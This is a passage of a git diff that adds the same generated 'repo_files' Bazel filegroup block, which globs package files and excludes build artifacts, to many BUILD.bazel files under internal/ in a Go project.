b/internal/compact/BUILD.bazel index 4218b4b98..3ff08a678 100644 --- a/internal/compact/BUILD.bazel +++ b/internal/compact/BUILD.bazel @@ -40,3 +40,25 @@ go_test( "@com_github_anthropics_anthropic_sdk_go//:anthropic-sdk-go", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/config/BUILD.bazel b/internal/config/BUILD.bazel index b0d181fd1..f2c2496a1 100644 --- a/internal/config/BUILD.bazel +++ b/internal/config/BUILD.bazel @@ -67,3 +67,25 @@ go_test( "//conditions:default": [], }), ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/configfile/BUILD.bazel b/internal/configfile/BUILD.bazel index fdfb88536..0d67a72a5 100644 --- a/internal/configfile/BUILD.bazel +++ b/internal/configfile/BUILD.bazel @@ -32,3 +32,25 @@ go_test( embed = [":configfile"], deps = ["//internal/config"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/creds/BUILD.bazel b/internal/creds/BUILD.bazel index 8e19e51f6..ad796d4c1 100644 --- a/internal/creds/BUILD.bazel +++ b/internal/creds/BUILD.bazel @@ -20,3 +20,25 @@ go_test( embed = [":creds"], deps = ["//internal/testutil/credentialcmd"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/debug/BUILD.bazel b/internal/debug/BUILD.bazel index 27accb99b..f23f1e5c8 100644 --- a/internal/debug/BUILD.bazel +++ b/internal/debug/BUILD.bazel @@ -12,3 +12,25 @@ go_test( srcs = ["debug_test.go"], embed = [":debug"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/doltremote/BUILD.bazel b/internal/doltremote/BUILD.bazel index edca71b4d..d0299f657 100644 --- a/internal/doltremote/BUILD.bazel +++ b/internal/doltremote/BUILD.bazel @@ -19,3 +19,25 @@ go_test( "//internal/storage/doltutil", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/doltserver/BUILD.bazel b/internal/doltserver/BUILD.bazel index c742a1952..05e2b6db0 100644 --- a/internal/doltserver/BUILD.bazel +++ b/internal/doltserver/BUILD.bazel @@ -191,3 +191,25 @@ go_test( "//conditions:default": [], }), ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/doltversion/BUILD.bazel b/internal/doltversion/BUILD.bazel index d54009bb1..d49ef74b1 100644 --- a/internal/doltversion/BUILD.bazel +++ b/internal/doltversion/BUILD.bazel @@ -26,3 +26,25 @@ go_test( ], embed = [":doltversion"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/eventsjournal/BUILD.bazel b/internal/eventsjournal/BUILD.bazel index aef6f700d..2b16a7c91 100644 --- a/internal/eventsjournal/BUILD.bazel +++ b/internal/eventsjournal/BUILD.bazel @@ -29,3 +29,25 @@ go_test( "@com_github_data_dog_go_sqlmock//:go-sqlmock", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/execenv/BUILD.bazel b/internal/execenv/BUILD.bazel index a94724f43..7ab55c24f 100644 --- a/internal/execenv/BUILD.bazel +++ b/internal/execenv/BUILD.bazel @@ -12,3 +12,25 @@ go_test( srcs = ["execenv_test.go"], embed = [":execenv"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/fdhygiene/BUILD.bazel b/internal/fdhygiene/BUILD.bazel index cc99908e4..ef2066d5a 100644 --- a/internal/fdhygiene/BUILD.bazel +++ b/internal/fdhygiene/BUILD.bazel @@ -88,3 +88,25 @@ go_test( "//conditions:default": [], }), ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/formula/BUILD.bazel b/internal/formula/BUILD.bazel index 5e53e92d4..a7377a78d 100644 --- a/internal/formula/BUILD.bazel +++ b/internal/formula/BUILD.bazel @@ -51,3 +51,25 @@ go_test( "//internal/testutil/bazeltest", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/formula/cmd/schemagen/BUILD.bazel b/internal/formula/cmd/schemagen/BUILD.bazel index 66dd67e53..aa9497029 100644 --- a/internal/formula/cmd/schemagen/BUILD.bazel +++ b/internal/formula/cmd/schemagen/BUILD.bazel @@ -13,3 +13,25 @@ go_binary( embed = [":schemagen_lib"], visibility = ["//:__subpackages__"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/formula/schemagen/BUILD.bazel b/internal/formula/schemagen/BUILD.bazel index 947eb12bc..fdcbe2f97 100644 --- a/internal/formula/schemagen/BUILD.bazel +++ b/internal/formula/schemagen/BUILD.bazel @@ -6,3 +6,25 @@ go_library( importpath = "github.com/steveyegge/beads/internal/formula/schemagen", visibility = ["//:__subpackages__"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/git/BUILD.bazel b/internal/git/BUILD.bazel index 0d991c222..4d259cd16 100644 --- a/internal/git/BUILD.bazel +++ b/internal/git/BUILD.bazel @@ -15,3 +15,25 @@ go_test( ], embed = [":git"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/gitenv/BUILD.bazel b/internal/gitenv/BUILD.bazel index d98f29048..b9317dac6 100644 --- a/internal/gitenv/BUILD.bazel +++ b/internal/gitenv/BUILD.bazel @@ -13,3 +13,25 @@ go_test( srcs = ["routing_test.go"], embed = [":gitenv"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/githooksenv/BUILD.bazel b/internal/githooksenv/BUILD.bazel index b9370947f..0dfbf2c9b 100644 --- a/internal/githooksenv/BUILD.bazel +++ b/internal/githooksenv/BUILD.bazel @@ -13,3 +13,25 @@ go_test( srcs = ["githooksenv_test.go"], embed = [":githooksenv"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/github/BUILD.bazel b/internal/github/BUILD.bazel index 9fff27f23..8062dd22a 100644 --- a/internal/github/BUILD.bazel +++ b/internal/github/BUILD.bazel @@ -38,3 +38,25 @@ go_test( "//internal/types", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/gitignore/BUILD.bazel b/internal/gitignore/BUILD.bazel index ca1273b4c..3ec14028e 100644 --- a/internal/gitignore/BUILD.bazel +++ b/internal/gitignore/BUILD.bazel @@ -12,3 +12,25 @@ go_test( srcs = ["append_test.go"], embed = [":gitignore"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/gitlab/BUILD.bazel b/internal/gitlab/BUILD.bazel index cf9434480..1ae60e524 100644 --- a/internal/gitlab/BUILD.bazel +++ b/internal/gitlab/BUILD.bazel @@ -37,3 +37,25 @@ go_test( "//internal/types", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/gittraceenv/BUILD.bazel b/internal/gittraceenv/BUILD.bazel index 4514cb6a5..d3ab9ec8e 100644 --- a/internal/gittraceenv/BUILD.bazel +++ b/internal/gittraceenv/BUILD.bazel @@ -13,3 +13,25 @@ go_test( srcs = ["gittraceenv_test.go"], embed = [":gittraceenv"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/hooks/BUILD.bazel b/internal/hooks/BUILD.bazel index 004745f8f..3c6e1590b 100644 --- a/internal/hooks/BUILD.bazel +++ b/internal/hooks/BUILD.bazel @@ -213,3 +213,25 @@ go_test( "//conditions:default": [], }), ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/httpapi/BUILD.bazel b/internal/httpapi/BUILD.bazel index 4e559636e..ff7bb7787 100644 --- a/internal/httpapi/BUILD.bazel +++ b/internal/httpapi/BUILD.bazel @@ -130,3 +130,25 @@ go_test( "@in_gopkg_yaml_v3//:yaml_v3", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/httpapi/apigen/BUILD.bazel b/internal/httpapi/apigen/BUILD.bazel index fad33f8a8..f777dcdd4 100644 --- a/internal/httpapi/apigen/BUILD.bazel +++ b/internal/httpapi/apigen/BUILD.bazel @@ -14,3 +14,25 @@ go_library( "//issueops", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/httpapi/spec/BUILD.bazel b/internal/httpapi/spec/BUILD.bazel index b734489cd..5fe190f42 100644 --- a/internal/httpapi/spec/BUILD.bazel +++ b/internal/httpapi/spec/BUILD.bazel @@ -18,3 +18,25 @@ exports_files( ["openapi.v0.yaml"], visibility = ["//internal/httpclient/encode:__pkg__"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/httpapi/wireshape/BUILD.bazel b/internal/httpapi/wireshape/BUILD.bazel index b643aa0f6..c107b8a0c 100644 --- a/internal/httpapi/wireshape/BUILD.bazel +++ b/internal/httpapi/wireshape/BUILD.bazel @@ -34,3 +34,25 @@ exports_files( ["testdata/golden.json"], visibility = ["//internal/httpclient/wire:__pkg__"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/httpapi/wireshape/cmd/gendigest/BUILD.bazel b/internal/httpapi/wireshape/cmd/gendigest/BUILD.bazel index 425d566ef..3b3dc5d04 100644 --- a/internal/httpapi/wireshape/cmd/gendigest/BUILD.bazel +++ b/internal/httpapi/wireshape/cmd/gendigest/BUILD.bazel @@ -23,3 +23,25 @@ go_test( embed = [":gendigest_lib"], deps = ["//internal/httpapi/wireshape"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/httpclient/BUILD.bazel b/internal/httpclient/BUILD.bazel index b93917c93..7b9542c59 100644 --- a/internal/httpclient/BUILD.bazel +++ b/internal/httpclient/BUILD.bazel @@ -53,3 +53,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/httpclient/encode/BUILD.bazel b/internal/httpclient/encode/BUILD.bazel index e9faf9c17..a9b9adfd6 100644 --- a/internal/httpclient/encode/BUILD.bazel +++ b/internal/httpclient/encode/BUILD.bazel @@ -46,3 +46,25 @@ go_test( "@in_gopkg_yaml_v3//:yaml_v3", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/httpclient/wire/BUILD.bazel b/internal/httpclient/wire/BUILD.bazel index 3d520f9c4..989a796b8 100644 --- a/internal/httpclient/wire/BUILD.bazel +++ b/internal/httpclient/wire/BUILD.bazel @@ -58,3 +58,25 @@ go_test( "@in_gopkg_yaml_v3//:yaml_v3", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/idgen/BUILD.bazel b/internal/idgen/BUILD.bazel index baa2d1260..d85848c47 100644 --- a/internal/idgen/BUILD.bazel +++ b/internal/idgen/BUILD.bazel @@ -12,3 +12,25 @@ go_test( srcs = ["hash_test.go"], embed = [":idgen"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/jira/BUILD.bazel b/internal/jira/BUILD.bazel index e0045cdf2..f42e6ec5e 100644 --- a/internal/jira/BUILD.bazel +++ b/internal/jira/BUILD.bazel @@ -37,3 +37,25 @@ go_test( "//memoryops", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/linear/BUILD.bazel b/internal/linear/BUILD.bazel index b5a2fcf3d..e660b46a2 100644 --- a/internal/linear/BUILD.bazel +++ b/internal/linear/BUILD.bazel @@ -63,3 +63,25 @@ go_test( "//conditions:default": [], }), ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/lockfile/BUILD.bazel b/internal/lockfile/BUILD.bazel index 59c9d3504..347cd13d9 100644 --- a/internal/lockfile/BUILD.bazel +++ b/internal/lockfile/BUILD.bazel @@ -59,3 +59,25 @@ go_test( srcs = ["lock_test.go"], embed = [":lockfile"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/memoryapi/BUILD.bazel b/internal/memoryapi/BUILD.bazel index bd5802a5d..d676833ae 100644 --- a/internal/memoryapi/BUILD.bazel +++ b/internal/memoryapi/BUILD.bazel @@ -14,3 +14,25 @@ go_test( embed = [":memoryapi"], deps = ["//memoryops"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/metrics/BUILD.bazel b/internal/metrics/BUILD.bazel index dd2301a52..eb9b7d7fa 100644 --- a/internal/metrics/BUILD.bazel +++ b/internal/metrics/BUILD.bazel @@ -38,3 +38,25 @@ go_test( "@in_gopkg_yaml_v3//:yaml_v3", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/migration/BUILD.bazel b/internal/migration/BUILD.bazel index b09960e07..d3bae9093 100644 --- a/internal/migration/BUILD.bazel +++ b/internal/migration/BUILD.bazel @@ -12,3 +12,25 @@ go_test( srcs = ["freeze_test.go"], embed = [":migration"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/migration/legacysqlite/BUILD.bazel b/internal/migration/legacysqlite/BUILD.bazel index b8ea518aa..847117321 100644 --- a/internal/migration/legacysqlite/BUILD.bazel +++ b/internal/migration/legacysqlite/BUILD.bazel @@ -25,3 +25,25 @@ go_test( "@com_github_mattn_go_sqlite3//:go-sqlite3", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/molecules/BUILD.bazel b/internal/molecules/BUILD.bazel index d2f31c014..57fe6e3eb 100644 --- a/internal/molecules/BUILD.bazel +++ b/internal/molecules/BUILD.bazel @@ -26,3 +26,25 @@ go_test( "//internal/types", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/notion/BUILD.bazel b/internal/notion/BUILD.bazel index beb8b2aea..871fe68e8 100644 --- a/internal/notion/BUILD.bazel +++ b/internal/notion/BUILD.bazel @@ -36,3 +36,25 @@ go_test( "//internal/types", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/procid/BUILD.bazel b/internal/procid/BUILD.bazel index 152135fe8..14cc92d61 100644 --- a/internal/procid/BUILD.bazel +++ b/internal/procid/BUILD.bazel @@ -49,3 +49,25 @@ go_test( "//conditions:default": [], }), ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/query/BUILD.bazel b/internal/query/BUILD.bazel index acaf1e8dd..d8db3bcff 100644 --- a/internal/query/BUILD.bazel +++ b/internal/query/BUILD.bazel @@ -26,3 +26,25 @@ go_test( "//internal/types", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/recipes/BUILD.bazel b/internal/recipes/BUILD.bazel index 34a312aa7..b94f373c0 100644 --- a/internal/recipes/BUILD.bazel +++ b/internal/recipes/BUILD.bazel @@ -20,3 +20,25 @@ go_test( embed = [":recipes"], deps = ["//plugins/beads"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/remotecache/BUILD.bazel b/internal/remotecache/BUILD.bazel index b7c2fb877..69d123c65 100644 --- a/internal/remotecache/BUILD.bazel +++ b/internal/remotecache/BUILD.bazel @@ -28,3 +28,25 @@ go_test( embed = [":remotecache"], deps = ["//internal/githooksenv"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/routing/BUILD.bazel b/internal/routing/BUILD.bazel index 827dc8522..87bee6e4d 100644 --- a/internal/routing/BUILD.bazel +++ b/internal/routing/BUILD.bazel @@ -20,3 +20,25 @@ go_test( "//internal/gitenv", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + 